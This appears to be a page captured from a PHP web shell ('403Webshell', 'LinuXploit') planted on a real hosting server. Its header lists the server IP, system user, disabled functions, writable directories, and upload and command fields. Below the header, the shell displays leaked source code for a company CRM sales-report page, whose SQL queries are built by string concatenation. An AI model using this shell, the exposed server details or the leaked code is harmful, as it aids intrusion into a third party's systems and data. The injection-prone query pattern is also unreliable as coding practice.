403Webshell
Server IP : 92.204.40.98  /  Your IP : 216.73.216.201
Web Server : LiteSpeed
System : Linux amster.dnsfors.com 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : tmksyste ( 2190)
PHP Version : 8.3.31
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tmksyste/domains/tmksystems.in/public_html/crmapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tmksyste/domains/tmksystems.in/public_html/crmapp//sale_report.php
<?php 
session_start();
include 'connection.php';
?>
<!doctype html>
<html lang="en" data-layout="vertical" data-sidebar="dark" data-sidebar-image="img-1" data-sidebar-size="lg" data-preloader="disable" data-theme="default" data-topbar="light" data-bs-theme="light" data-theme-color="0">
<head>

    <meta charset="utf-8">
    <title>TMK System - Dashboard</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta content="Minimal Admin & Dashboard Template" name="description">
    <meta content="Themesbrand" name="author">
    <link rel="shortcut icon" href="assets/images/favicon.png">

    <!-- Fonts css load -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link id="fontsLink" href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">

    <!--datatable css-->
    <link rel="stylesheet" href="https://cdn.datatables.net/1.11.5/css/dataTables.bootstrap5.min.css" >
    <!--datatable responsive css-->
    <link rel="stylesheet" href="https://cdn.datatables.net/responsive/2.2.9/css/responsive.bootstrap.min.css" >

    <link rel="stylesheet" href="https://cdn.datatables.net/buttons/2.2.2/css/buttons.dataTables.min.css">


    <!-- Layout config Js -->
    <script src="assets/js/layout.js"></script>
    <!-- Bootstrap Css -->
    <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css">
    <!-- Icons Css -->
    <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css">
    <!-- App Css-->
    <link href="assets/css/app.min.css" rel="stylesheet" type="text/css">
    <!-- custom Css-->
    <link href="assets/css/custom.min.css" rel="stylesheet" type="text/css">
    <style>
        #buttons-datatables > tbody > tr > td {
    word-break: break-all !important;
    white-space: normal;
}
    </style>

</head>

<body>

    <!-- Begin page -->
    <div id="layout-wrapper">

      <?php include 'header.php';?>
        <!-- Start right Content here -->
        <!-- ============================================================== -->
        <div class="main-content">

            <div class="page-content">
                <div class="container-fluid">

                    <!-- start page title -->
                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box d-sm-flex align-items-center justify-content-between">
                                <div class="page-title-right">
                                    <ol class="breadcrumb m-0">
                            <li class="breadcrumb-item"><a href="javascript: void(0);">Employee Work Done Report</a></li>
                            <li class="breadcrumb-item active">Sales Report</li>
                                    </ol>
                                </div>

                            </div>
                        </div>
                    </div>
                    <!-- end page title -->
                    

                     <div class="row">
                        <div class="col-lg-12">
                            <div class="card">
                                <div class="card-header">
                            <h5 class="card-title mb-0">Sales Report:</h5>
                                </div>
                                <div class="card-body">
                                    
                                    <form action="" method="post" id="points_listm">	   
			                        <div class="row">
                                        <div class="col-md-4">
                                        <div class="form-group ">
                                        <label>Type : </label>
                                        <select  class="form-control" name ="month" required>
                                            <option value="0">Till Now</option>
                                            <option value="1" >This Month</option>
                                                </select>
                                        </div>
                                        </div>
			
                                      
                                        <div class="col-md-4">	
                                        <label></label>
                                        <div class="form-group text-center no-gutters mb-5">
                                        <button class="btn btn-info btn-md btn-block text-uppercase" name="submit" type="submit" value="submit" onclick="sendDatam()">SUBMIT</button>
                                        </div>
                                        </div>
                                    </div>
                                    </form>
					
                        <table id="buttons-datatables" class="table nowrap dt-responsive align-middle table-hover table-bordered" style="width:100%;">
                        <thead>
                        <tr><th>#</th>
                        <th>Employee</th>
                        <th>Leads</th>
                        <th>Digital Marketing</th>
                        <th>Referral</th>
                        <th>Field</th>
                        <th>Cold Call</th>
                        <th>Followup</th>
                        <th>Customer</th>
                        <th>Installation</th>
						</tr> </thead> <tbody id="sale_report_table"> 
						<?php $date=date('Y-m-d');
						 $i=1;
						 $sql_emp="select * from login where type!='Admin'";
						 $result_emp=mysqli_query($con,$sql_emp);
						 while($row_emp=mysqli_fetch_array($result_emp)){
						     $eid=$row_emp['id'];
						     $sql_leads="select * from leads where followup_excecutive='$eid'";
						     $result_leads=mysqli_query($con,$sql_leads);
						     $row_leads=mysqli_fetch_array($result_leads);
						     $countleads=mysqli_num_rows($result_leads);
						     $lid=$row_leads['lid'];
						     
						     $sql_mar="select * from marketing_activities where followup_excecutive='$eid'";
						     $result_mar=mysqli_query($con,$sql_mar);
						     $row_mar=mysqli_fetch_array($result_mar);
						     $countmar=mysqli_num_rows($result_mar);
						     
						     $sql_cust="select * from customer_details where lid='$lid'";
						     $result_cust=mysqli_query($con,$sql_cust);
						     $row_cust=mysqli_fetch_array($result_cust);
						     $countcust=mysqli_num_rows($result_cust);
						     $cid=$row_cust['cid'];
						     
						     $sql_pro="select * from project where cid='$cid' and aname='Installation'";
						     $result_pro=mysqli_query($con,$sql_pro);
						     $countpro=mysqli_num_rows($result_pro);
						     
						     $sql_dm="select * from leads where followup_excecutive='$eid' and (source_lead='Marketing' or source_lead='Digital Marketing')";
						     $result_dm=mysqli_query($con,$sql_dm);
						     $countdm=mysqli_num_rows($result_dm);
						     
						     $sql_re="select * from leads where followup_excecutive='$eid' and (source_lead='Reference' or source_lead='Referral')";
						     $result_re=mysqli_query($con,$sql_re);
						     $countre=mysqli_num_rows($result_re);
						     
						     $sql_fe="select * from leads where followup_excecutive='$eid' and source_lead='Field'";
						     $result_fe=mysqli_query($con,$sql_fe);
						     $countfe=mysqli_num_rows($result_fe);
						     
						     $sql_cc="select * from leads where followup_excecutive='$eid' and source_lead='Cold Call'";
						     $result_cc=mysqli_query($con,$sql_cc);
						     $countcc=mysqli_num_rows($result_cc);
						 ?>
						<tr><th scope="row"><?php echo $i;?></th> 
						<td><?php echo $row_emp['Name'];?></td> 
						<td><?php echo $countleads;?></td> 
						<td><?php echo $countdm;?></td> 
						<td><?php echo $countre;?></td> 
						<td><?php echo $countfe;?></td> 
						<td><?php echo $countcc;?></td> 
						<td><?php echo $countmar;?></td> 
						<td><?php echo $countcust;?></td> 
						<td><?php echo $countpro;?></td> 
						</tr> 
						<?php $i++;
						$countleads=0;
						$countdm=0;
						$countre=0;
					    $countmar=0;
					    $countcust=0;
					    $countpro=0;
					    $countfe=0;
					    $countcc=0;
						} ?>
						</tbody> 
						</table>
                                </div>
                            </div>
                        </div><!--end col-->
                    </div><!--end row-->


                   

                </div>
                <!-- container-fluid -->
            </div>
            <!-- End Page-content -->

             <?php
            include 'footer.php';
            ?>
        </div>
        <!-- end main content-->

    </div>
    <!-- END layout-wrapper -->



   <!-- JAVASCRIPT -->
    <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script>
    <script src="assets/libs/simplebar/simplebar.min.js"></script>
    <script src="assets/js/plugins.js"></script>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>

    <!--datatable js-->
    <script src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script>
    <script src="https://cdn.datatables.net/1.11.5/js/dataTables.bootstrap5.min.js"></script>
    <script src="https://cdn.datatables.net/responsive/2.2.9/js/dataTables.responsive.min.js"></script>
    <script src="https://cdn.datatables.net/buttons/2.2.2/js/dataTables.buttons.min.js"></script>
    <script src="https://cdn.datatables.net/buttons/2.2.2/js/buttons.print.min.js"></script>
    <script src="https://cdn.datatables.net/buttons/2.2.2/js/buttons.html5.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>

    <script src="assets/js/pages/datatables.init.js"></script>
    <!-- App js -->
    <script src="assets/js/app.js"></script>
     <script>
                 function sendDatam()
                {
                   
                    $.ajax({
                        type : 'POST',
                        url : "sale_report_ajax.php",
                        data : $("#points_listm").serialize(),
            
                        success : function(result){
                             //$("#mark_list_table").load(" #mark_list_table");
                           // $("#mark_list_table").replaceWith(result);
                            $("#buttons-datatables").hide().html(result).fadeIn('fast');
                        }
                    });
                    event.preventDefault();
                }
                    
                </script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit